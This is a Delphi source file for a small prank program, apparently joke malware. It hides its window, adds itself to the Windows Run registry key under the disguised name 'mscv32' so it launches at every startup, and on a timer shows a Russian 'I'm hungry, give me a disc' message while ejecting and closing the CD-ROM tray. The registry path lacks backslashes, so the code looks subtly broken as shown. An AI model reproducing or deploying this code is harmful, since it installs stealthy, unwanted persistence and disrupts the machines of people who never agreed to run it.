unit Unit17;
 
interface
 
uses
Registry,MMSystem,  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls;
 
type
  TForm17 = class(TForm)
    Timer1: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
 
var
  Form17: TForm17;
 reg: tregistry;
implementation
 
{$R *.dfm}
 
procedure TForm17.FormCreate(Sender: TObject);
begin
 application.showmainform:=false;
 reg := tregistry.create;
reg.rootkey:=hkey_local_machine;
reg.lazywrite := false;
reg.openkey('softwaremicrosoftwindowscurrentversionrun',false);
reg.writestring('mscv32', application. exename);
reg.closekey;
reg.free;
end;
 
procedure TForm17.Timer1Timer(Sender: TObject);
begin
 messagebox(getdesktopwindow,'Я голоден..!Дай диск плз =(', 'cd-rom', mb_ok);
mcisendstring('set cdaudio door open wait', nil, 0, handle);
mcisendstring('set cdaudio door closed wait', nil, 0, handle);
end;
 
end.